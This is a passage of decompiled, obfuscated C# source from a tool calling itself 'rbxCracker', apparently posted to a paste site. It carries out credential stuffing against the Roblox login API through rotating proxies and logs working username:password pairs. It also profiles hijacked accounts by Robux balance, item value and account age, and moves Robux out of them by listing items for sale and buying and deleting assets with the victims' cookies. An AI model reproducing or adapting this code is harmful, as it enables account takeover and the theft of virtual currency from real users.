  1660. httpRequest.Cookies = cookieDictionary_0;
  1661. int num = 0;
  1662. string text = httpRequest.Get("https://www.roblox.com/mobileapi/userinfo?nl=true", null).ToString();
  1663. if (text.Contains("RobuxBalance"))
  1664. {
  1665. num = AssemblyMetadata.LogSwitch(WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(text, new string[]
  1666. {
  1667. "RobuxBalance\":"
  1668. }, StringSplitOptions.None)[1], new string[]
  1669. {
  1670. ","
  1671. }, StringSplitOptions.None)[0]);
  1672. }
  1673. result = num;
  1674. }
  1675. return result;
  1676. }
  1677.  
  1678. // Token: 0x0600007A RID: 122 RVA: 0x00012BA4 File Offset: 0x00010DA4
  1679. private static string ReflectionTypeLoadException(string string_0)
  1680. {
  1681. <Module>.ReadDelegate(6);
  1682. string result;
  1683. using (HttpRequest httpRequest = new HttpRequest())
  1684. {
  1685. httpRequest.UserAgent = Http.FirefoxUserAgent();
  1686. string object_ = httpRequest.Get("https://rbx.rocks/apis/user_items?u=" + string_0, null).ToString();
  1687. result = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
  1688. {
  1689. "RAP\":\""
  1690. }, StringSplitOptions.None)[1], new string[]
  1691. {
  1692. "\""
  1693. }, StringSplitOptions.None)[0];
  1694. }
  1695. return result;
  1696. }
  1697.  
  1698. // Token: 0x0600007B RID: 123 RVA: 0x00012C70 File Offset: 0x00010E70
  1699. private static string AppDomainManagerInitializationOptions(string string_0)
  1700. {
  1701. <Module>.ReadDelegate(7);
  1702. string text = new HttpRequest().Get("https://www.roblox.com/users/" + string_0 + "/profile", null).ToString();
  1703. CCMDictionary.EventWaitHandleRights++;
  1704. return text.Contains("icon-bc") ? "BC" : (text.Contains("icon-obc") ? "OBC" : (text.Contains("icon-tbc") ? "TBC" : "No"));
  1705. }
  1706.  
  1707. // Token: 0x0600007C RID: 124 RVA: 0x00012D10 File Offset: 0x00010F10
  1708. private static string[] Debugger(CookieDictionary cookieDictionary_0, string string_0, bool bool_0)
  1709. {
  1710. <Module>.ReadDelegate(8);
  1711. string[] result;
  1712. using (HttpRequest httpRequest = new HttpRequest())
  1713. {
  1714. httpRequest.UserAgent = Http.FirefoxUserAgent();
  1715. httpRequest.Cookies = cookieDictionary_0;
  1716. string object_ = httpRequest.Get("https://www.roblox.com/mobileapi/userinfo?nl=true", null).ToString();
  1717. string text = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
  1718. {
  1719. "RobuxBalance\":"
  1720. }, StringSplitOptions.None)[1], new string[]
  1721. {
  1722. ","
  1723. }, StringSplitOptions.None)[0];
  1724. string a = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
  1725. {
  1726. "IsAnyBuildersClubMember\":"
  1727. }, StringSplitOptions.None)[1], new string[]
  1728. {
  1729. "}"
  1730. }, StringSplitOptions.None)[0];
  1731. string[] array = new string[]
  1732. {
  1733. text,
  1734. (a == "true") ? "Yes" : "No"
  1735. };
  1736. if (Convert.ToInt32(text) > 0)
  1737. {
  1738. if (!bool_0)
  1739. {
  1740. CCMDictionary.CalendarTable += Convert.ToInt32(text);
  1741. }
  1742. if (Convert.ToInt32(text) > 5 && !bool_0)
  1743. {
  1744. try
  1745. {
  1746. CCMDictionary.ArraySortHelper2.WriteLine(string_0);
  1747. }
  1748. catch (Exception)
  1749. {
  1750. }
  1751. }
  1752. }
  1753. result = array;
  1754. }
  1755. return result;
  1756. }
  1757.  
  1758. // Token: 0x0600007D RID: 125 RVA: 0x00012F00 File Offset: 0x00011100
  1759. private static void EncoderFallback(int int_0, string string_0)
  1760. {
  1761. <Module>.ReadDelegate(9);
  1762. using (HttpRequest httpRequest = new HttpRequest())
  1763. {
  1764. httpRequest.UserAgent = CCMDictionary.Nullable1();
  1765. httpRequest.Cookies = CCMDictionary.SearchData;
  1766. string object_ = httpRequest.Get("https://www.roblox.com/my/item.aspx?id=" + string_0, null).ToString();
  1767. string value = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
  1768. {
  1769. "__VIEWSTATE\" value=\""
  1770. }, StringSplitOptions.None)[1], new string[]
  1771. {
  1772. "\""
  1773. }, StringSplitOptions.None)[0];
  1774. string value2 = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
  1775. {
  1776. "__VIEWSTATEGENERATOR\" value=\""
  1777. }, StringSplitOptions.None)[1], new string[]
  1778. {
  1779. "\""
  1780. }, StringSplitOptions.None)[0];
  1781. string value3 = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
  1782. {
  1783. "__EVENTVALIDATION\" value=\""
  1784. }, StringSplitOptions.None)[1], new string[]
  1785. {
  1786. "\""
  1787. }, StringSplitOptions.None)[0];
  1788. string value4 = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
  1789. {
  1790. "NameTextBox\" type=\"text\" value=\""
  1791. }, StringSplitOptions.None)[1], new string[]
  1792. {
  1793. "\""
  1794. }, StringSplitOptions.None)[0];
  1795. httpRequest.UserAgent = CCMDictionary.Nullable1();
  1796. httpRequest.Cookies = CCMDictionary.SearchData;
  1797. httpRequest.AddParam("__EVENTTARGET", "ctl00$cphRoblox$SubmitButtonBottom");
  1798. httpRequest.AddParam("__EVENTARGUMENT", "");
  1799. httpRequest.AddParam("__VIEWSTATE", value);
  1800. httpRequest.AddParam("__VIEWSTATEGENERATOR", value2);
  1801. httpRequest.AddParam("__EVENTVALIDATION", value3);
  1802. httpRequest.AddParam("ctl00$cphRoblox$SellThisItemCheckBox", "on");
  1803. httpRequest.AddParam("ctl00$cphRoblox$SellForRobux", "on");
  1804. httpRequest.AddParam("ctl00$cphRoblox$NameTextBox", value4);
  1805. httpRequest.AddParam("ctl00$cphRoblox$DescriptionTextBox=", "");
  1806. httpRequest.AddParam("ctl00$cphRoblox$RobuxPrice", Convert.ToString(int_0));
  1807. httpRequest.AddParam("ctl00$cphRoblox$EnableCommentsCheckBox", "on");
  1808. httpRequest.AddParam("GenreButtons2", "1");
  1809. httpRequest.AddParam("ctl00$cphRoblox$actualGenreSelection", "1");
  1810. httpRequest.Post("https://www.roblox.com/my/item.aspx?id=" + string_0).None();
  1811. }
  1812. }
  1813.  
  1814. // Token: 0x0600007E RID: 126 RVA: 0x00013218 File Offset: 0x00011418
  1815. private static void SponsorState(CookieDictionary cookieDictionary_0)
  1816. {
  1817. <Module>.ReadDelegate(10);
  1818. using (HttpRequest httpRequest = new HttpRequest())
  1819. {
  1820. httpRequest.UserAgent = Http.FirefoxUserAgent();
  1821. httpRequest.Cookies = cookieDictionary_0;
  1822. string object_ = httpRequest.Get("https://www.roblox.com/catalog/" + CCMDictionary.DictionaryEnumeratorByKeys, null).ToString();
  1823. string value = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
  1824. {
  1825. "setToken('"
  1826. }, StringSplitOptions.None)[1], new string[]
  1827. {
  1828. "'"
  1829. }, StringSplitOptions.None)[0];
  1830. httpRequest.UserAgent = Http.FirefoxUserAgent();
  1831. httpRequest.Cookies = cookieDictionary_0;
  1832. httpRequest.AddHeader("X-CSRF-TOKEN", value);
  1833. httpRequest.AddParam("assetId", CCMDictionary.DictionaryEnumeratorByKeys);
  1834. httpRequest.Post("https://www.roblox.com/asset/delete-from-inventory").None();
  1835. }
  1836. }
  1837.  
  1838. // Token: 0x0600007F RID: 127 RVA: 0x00013340 File Offset: 0x00011540
  1839. private static void Predicate1(CookieDictionary cookieDictionary_0, int int_0, string string_0)
  1840. {
  1841. <Module>.ReadDelegate(11);
  1842. using (HttpRequest httpRequest = new HttpRequest())
  1843. {
  1844. httpRequest.UserAgent = Http.FirefoxUserAgent();
  1845. httpRequest.Cookies = cookieDictionary_0;
  1846. string object_ = httpRequest.Get("https://www.roblox.com/catalog/" + string_0, null).ToString();
  1847. string text = IRemotingFormatter.ObjectMap(WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
  1848. {
  1849. "data-product-id="
  1850. }, StringSplitOptions.None)[1], new string[]
  1851. {
  1852. " "
  1853. }, StringSplitOptions.None)[0], "\"", "");
  1854. string text2 = IRemotingFormatter.ObjectMap(WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
  1855. {
  1856. "data-expected-price="
  1857. }, StringSplitOptions.None)[1], new string[]
  1858. {
  1859. " "
  1860. }, StringSplitOptions.None)[0], "\"", "");
  1861. string text3 = IRemotingFormatter.ObjectMap(WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
  1862. {
  1863. "data-expected-seller-id="
  1864. }, StringSplitOptions.None)[1], new string[]
  1865. {
  1866. " "
  1867. }, StringSplitOptions.None)[0], "\"", "");
  1868. string value = WindowsAccountType.SymCustomAttr(WindowsAccountType.SymCustomAttr(object_, new string[]
  1869. {
  1870. "setToken('"
  1871. }, StringSplitOptions.None)[1], new string[]
  1872. {
  1873. "'"
  1874. }, StringSplitOptions.None)[0];
  1875. if (Convert.ToInt32(text2) <= int_0)
  1876. {
  1877. httpRequest.UserAgent = Http.FirefoxUserAgent();
  1878. httpRequest.Cookies = cookieDictionary_0;
  1879. httpRequest.AddHeader("X-CSRF-TOKEN", value);
  1880. ResourceEnumerator.HostProtectionPermission(WellKnownSidType.CrossAppDomainChannelInvalidOperationException(httpRequest, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
  1881. {
  1882. "https://www.roblox.com/api/item.ashx?rqtype=purchase&productID=",
  1883. text,
  1884. "&expectedCurrency=1&expectedPrice=",
  1885. text2,
  1886. "&expectedSellerID=",
  1887. text3,
  1888. "&userAssetID="
  1889. })));
  1890. CCMDictionary.ISymbolVariable(ConsoleColor.Green, "[Good] - Sent " + int_0 + " robux.");
  1891. CCMDictionary.SponsorState(cookieDictionary_0);
  1892. }
  1893. }
  1894. }
  1895.  
  1896. // Token: 0x06000080 RID: 128 RVA: 0x00013624 File Offset: 0x00011824
  1897. private static void UIPermissionAttribute(string string_0, string string_1, string string_2, string string_3, string string_4, string string_5, string string_6, string string_7, bool bool_0 = false)
  1898. {
  1899. <Module>.ReadDelegate(12);
  1900. if (!bool_0 && (Convert.ToInt32(string_2) >= CCMDictionary.PermissionSetEnumeratorInternal || !string_4.Contains("No") || string_7 != "No collectibles found." || string_6.Contains("2007") || string_6.Contains("2008") || string_6.Contains("2009") || string_6.Contains("2006") || Convert.ToInt32(string_3) > 0))
  1901. {
  1902. using (StreamWriter streamWriter = EnvironmentIServiceProvider.StackFrameHelper(MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
  1903. {
  1904. Directory.GetCurrentDirectory(),
  1905. "\\hits\\",
  1906. string_6.Contains("2007") ? "2007\\" : (string_6.Contains("2008") ? "2008\\" : (string_6.Contains("2009") ? "2009\\" : (string_6.Contains("2006") ? "2006\\" : ""))),
  1907. GenericTypeParameterBuilder.FrameSecurityDescriptor(MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
  1908. {
  1909. WindowsAccountType.SymCustomAttr(string_0, new string[]
  1910. {
  1911. ":"
  1912. }, StringSplitOptions.None)[0],
  1913. " Robux_",
  1914. string_2,
  1915. "_RAP_",
  1916. string_3,
  1917. (!string_4.Contains("No")) ? " Builders Club" : ""
  1918. })),
  1919. ".txt"
  1920. })))
  1921. {
  1922. streamWriter.WriteLine(string_0);
  1923. streamWriter.WriteLine("Verified: " + string_1);
  1924. streamWriter.WriteLine("Robux: " + string_2);
  1925. streamWriter.WriteLine("RAP: " + string_3);
  1926. streamWriter.WriteLine("Builders Club: " + string_4);
  1927. streamWriter.WriteLine("Over 13: " + string_5);
  1928. streamWriter.WriteLine("Joined: " + string_6 + Environment.NewLine);
  1929. EventProviderWriter.IntPtr(streamWriter, (string_7 == "") ? "No collectibles found." : string_7.Replace("<br>", Environment.NewLine));
  1930. streamWriter.Close();
  1931. }
  1932. }
  1933. }
  1934.  
  1935. // Token: 0x06000081 RID: 129 RVA: 0x00013914 File Offset: 0x00011B14
  1936. private unsafe static string Nullable1()
  1937. {
  1938. <Module>.ReadDelegate(13);
  1939. byte* ptr = stackalloc byte[(UIntPtr)8];
  1940. int num = new Random().Next(0, 4);
  1941. *(int*)ptr = num;
  1942. string result = "";
  1943. int num2 = *(int*)ptr;
  1944. checked
  1945. {
  1946. *(int*)(ptr + 4) = num2;
  1947. switch (*(int*)(ptr + 4))
  1948. {
  1949. case 0:
  1950. result = FileAssociationEntryFieldId.Signature();
  1951. break;
  1952. case 1:
  1953. result = FileAssociationEntryFieldId.COORD();
  1954. break;
  1955. case 2:
  1956. result = FileAssociationEntryFieldId.EnvironmentVariableTarget();
  1957. break;
  1958. case 3:
  1959. result = FileAssociationEntryFieldId.ISO2022Modes();
  1960. break;
  1961. case 4:
  1962. result = FileAssociationEntryFieldId.IChannelReceiverHook();
  1963. break;
  1964. }
  1965. return result;
  1966. }
  1967. }
  1968.  
  1969. // Token: 0x06000082 RID: 130 RVA: 0x000139E4 File Offset: 0x00011BE4
  1970. private static string ConstructorBuilder()
  1971. {
  1972. <Module>.ReadDelegate(14);
  1973. ManagementClass managementClass = new ManagementClass("win32_processor");
  1974. ManagementObjectCollection instances = managementClass.GetInstances();
  1975. string string_ = "";
  1976. using (ManagementObjectCollection.ManagementObjectEnumerator enumerator = instances.GetEnumerator())
  1977. {
  1978. if (enumerator.MoveNext())
  1979. {
  1980. ManagementObject managementObject = (ManagementObject)enumerator.Current;
  1981. string_ = managementObject.Properties["processorID"].Value.ToString();
  1982. }
  1983. }
  1984. return CCMDictionary.BinaryHeaderEnum(string_);
  1985. }
  1986.  
  1987. // Token: 0x06000083 RID: 131 RVA: 0x00013AA0 File Offset: 0x00011CA0
  1988. private static void RuntimePropertyInfo()
  1989. {
  1990. <Module>.ReadDelegate(15);
  1991. if (new HttpRequest().Get("https://proxies24.com/rbxCrack/version.txt", null).ToString() != Assembly.GetExecutingAssembly().GetName().Version.ToString())
  1992. {
  1993. CCMDictionary.ISymbolVariable(ConsoleColor.Green, "New update available!");
  1994. System.Threading.Thread.Sleep(2000);
  1995. Process.Start("https://proxies24.com/rbxCrack");
  1996. Environment.Exit(0);
  1997. }
  1998. }
  1999.  
  2000. // Token: 0x06000084 RID: 132 RVA: 0x00013B18 File Offset: 0x00011D18
  2001. private unsafe static string BinaryHeaderEnum(string string_0)
  2002. {
  2003. <Module>.ReadDelegate(16);
  2004. byte* ptr = stackalloc byte[(UIntPtr)4];
  2005. MD5 md = MD5.Create();
  2006. byte[] bytes = Encoding.ASCII.GetBytes(string_0);
  2007. byte[] array = md.ComputeHash(bytes);
  2008. StringBuilder stringBuilder = new StringBuilder();
  2009. *(int*)ptr = 0;
  2010. while (*(int*)ptr < array.Length)
  2011. {
  2012. stringBuilder.Append(array[*(int*)ptr].ToString("X2"));
  2013. *(int*)ptr = *(int*)ptr + 1;
  2014. }
  2015. return stringBuilder.ToString();
  2016. }
  2017.  
  2018. // Token: 0x06000085 RID: 133 RVA: 0x00013BD0 File Offset: 0x00011DD0
  2019. private static void PrecannedResource(string string_0, string string_1)
  2020. {
  2021. <Module>.ReadDelegate(17);
  2022. bool flag = false;
  2023. int num = 0;
  2024. do
  2025. {
  2026. if (num >= 10)
  2027. {
  2028. CCMDictionary.ISymbolVariable(ConsoleColor.DarkMagenta, "[Proxy] - " + string_0 + ":" + string_1);
  2029. flag = true;
  2030. }
  2031. else
  2032. {
  2033. string item = CCMDictionary.HostExecutionContextSwitcher[CCMDictionary.ICollection1.Next(0, CCMDictionary.HostExecutionContextSwitcher.Count)];
  2034. try
  2035. {
  2036. byte[] bytes = new UTF8Encoding().GetBytes("Username=" + string_0 + "&Password=" + string_1);
  2037. HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("https://api.roblox.com/v2/login");
  2038. httpWebRequest.Method = "POST";
  2039. httpWebRequest.Accept = "*/*";
  2040. httpWebRequest.UserAgent = "runscope/0.1";
  2041. httpWebRequest.ContentType = "application/x-www-form-urlencoded";
  2042. httpWebRequest.AutomaticDecompression = DecompressionMethods.None;
  2043. httpWebRequest.ContentLength = (long)bytes.Length;
  2044. using (Stream requestStream = httpWebRequest.GetRequestStream())
  2045. {
  2046. requestStream.Write(bytes, 0, bytes.Length);
  2047. }
  2048. using (HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse())
  2049. {
  2050. using (Stream responseStream = httpWebResponse.GetResponseStream())
  2051. {
  2052. using (StreamReader streamReader = new StreamReader(responseStream))
  2053. {
  2054. if (streamReader.ReadToEnd().Contains("userId"))
  2055. {
  2056. CCMDictionary.ISymbolVariable(ConsoleColor.Green, "[Good] - " + string_0 + ":" + string_1);
  2057. flag = true;
  2058. }
  2059. else
  2060. {
  2061. CCMDictionary.ISymbolVariable(ConsoleColor.Red, "[Bad] - " + string_0 + ":" + string_1);
  2062. flag = true;
  2063. }
  2064. }
  2065. }
  2066. }
  2067. }
  2068. catch (WebException ex)
  2069. {
  2070. if (!CCMDictionary.BinaryMethodReturnMessage)
  2071. {
  2072. CCMDictionary.HostExecutionContextSwitcher.Remove(item);
  2073. }
  2074. num++;
  2075. CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.DarkRed, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
  2076. {
  2077. "[Error] - ",
  2078. string_0,
  2079. ":",
  2080. string_1,
  2081. " ",
  2082. ex.Message
  2083. }));
  2084. }
  2085. }
  2086. Console.Title = "rbxCracker - Proxies: " + Convert.ToString(CCMDictionary.HostExecutionContextSwitcher.Count);
  2087. }
  2088. while (!flag);
  2089. }
  2090.  
  2091. // Token: 0x06000086 RID: 134 RVA: 0x00013F38 File Offset: 0x00012138
  2092. private static void ISymbolVariable(ConsoleColor consoleColor_0, string string_0)
  2093. {
  2094. <Module>.ReadDelegate(18);
  2095. Console.ForegroundColor = consoleColor_0;
  2096. Console.WriteLine(string_0);
  2097. Console.ResetColor();
  2098. }
  2099.  
  2100. // Token: 0x06000087 RID: 135 RVA: 0x00013F68 File Offset: 0x00012168
  2101. private static void CryptoKeyAccessRule()
  2102. {
  2103. <Module>.ReadDelegate(19);
  2104. Directory.CreateDirectory(Directory.GetCurrentDirectory() + "\\hits\\2006");
  2105. Directory.CreateDirectory(Directory.GetCurrentDirectory() + "\\hits\\2007");
  2106. Directory.CreateDirectory(Directory.GetCurrentDirectory() + "\\hits\\2008");
  2107. Directory.CreateDirectory(Directory.GetCurrentDirectory() + "\\hits\\2009");
  2108. }
  2109.  
  2110. // Token: 0x06000088 RID: 136 RVA: 0x00013FD4 File Offset: 0x000121D4
  2111. private static string smethod_0(string string_0)
  2112. {
  2113. <Module>.ReadDelegate(20);
  2114. return string.Join("_", string_0.Split(System.IO.Path.GetInvalidFileNameChars()));
  2115. }
  2116.  
  2117. // Token: 0x06000089 RID: 137 RVA: 0x0001400C File Offset: 0x0001220C
  2118. private static int StringParser(string string_0)
  2119. {
  2120. if (System.IO.File.Exists(string_0))
  2121. {
  2122. using (StreamReader streamReader = new StreamReader(string_0))
  2123. {
  2124. int num = 0;
  2125. while (streamReader.ReadLine() != null)
  2126. {
  2127. num++;
  2128. }
  2129. return num;
  2130. }
  2131. }
  2132. return -1;
  2133. }
  2134.  
  2135. // Token: 0x0600008A RID: 138 RVA: 0x00014090 File Offset: 0x00012290
  2136. private static void ArgMapper()
  2137. {
  2138. <Module>.ReadDelegate(21);
  2139. System.Threading.Thread.Sleep(1000);
  2140. Environment.Exit(0);
  2141. }
  2142.  
  2143. // Token: 0x0600008B RID: 139 RVA: 0x0000C264 File Offset: 0x0000A464
  2144. public CCMDictionary()
  2145. {
  2146. }
  2147.  
  2148. // Token: 0x0600008C RID: 140 RVA: 0x000140BC File Offset: 0x000122BC
  2149. static CCMDictionary()
  2150. {
  2151. }
  2152.  
  2153. // Token: 0x0400013E RID: 318
  2154. private static List<string> IdentityNotMappedException = new List<string>();
  2155.  
  2156. // Token: 0x0400013F RID: 319
  2157. private static List<string> HostExecutionContextSwitcher = new List<string>();
  2158.  
  2159. // Token: 0x04000140 RID: 320
  2160. private static List<string> MethodImplAttribute = new List<string>();
  2161.  
  2162. // Token: 0x04000141 RID: 321
  2163. private static CookieDictionary SearchData = new CookieDictionary(false);
  2164.  
  2165. // Token: 0x04000142 RID: 322
  2166. private static StreamWriter ArraySortHelper2;
  2167.  
  2168. // Token: 0x04000143 RID: 323
  2169. private static StreamWriter SafeCertContextHandle;
  2170.  
  2171. // Token: 0x04000144 RID: 324
  2172. private static Random ICollection1 = new Random();
  2173.  
  2174. // Token: 0x04000145 RID: 325
  2175. private static int IContextProperty;
  2176.  
  2177. // Token: 0x04000146 RID: 326
  2178. private static int KeyedCollection2;
  2179.  
  2180. // Token: 0x04000147 RID: 327
  2181. private static int OperationCanceledException;
  2182.  
  2183. // Token: 0x04000148 RID: 328
  2184. private static int SafeCompressedStackHandle;
  2185.  
  2186. // Token: 0x04000149 RID: 329
  2187. private static int CalendarTable;
  2188.  
  2189. // Token: 0x0400014A RID: 330
  2190. private static int CATEGORY;
  2191.  
  2192. // Token: 0x0400014B RID: 331
  2193. private static int EventWaitHandleRights;
  2194.  
  2195. // Token: 0x0400014C RID: 332
  2196. private static int PermissionSetEnumeratorInternal = 0;
  2197.  
  2198. // Token: 0x0400014D RID: 333
  2199. private static string TargetParameterCountException;
  2200.  
  2201. // Token: 0x0400014E RID: 334
  2202. private static string DictionaryEnumeratorByKeys = "";
  2203.  
  2204. // Token: 0x0400014F RID: 335
  2205. private static bool BinaryMethodReturnMessage;
  2206.  
  2207. // Token: 0x04000150 RID: 336
  2208. private static bool SponsorStateInfo;
  2209.  
  2210. // Token: 0x04000151 RID: 337
  2211. private static bool SpecialNameAttribute = false;
  2212. }
  2213. }
Add Comment
Please, Sign In to add comment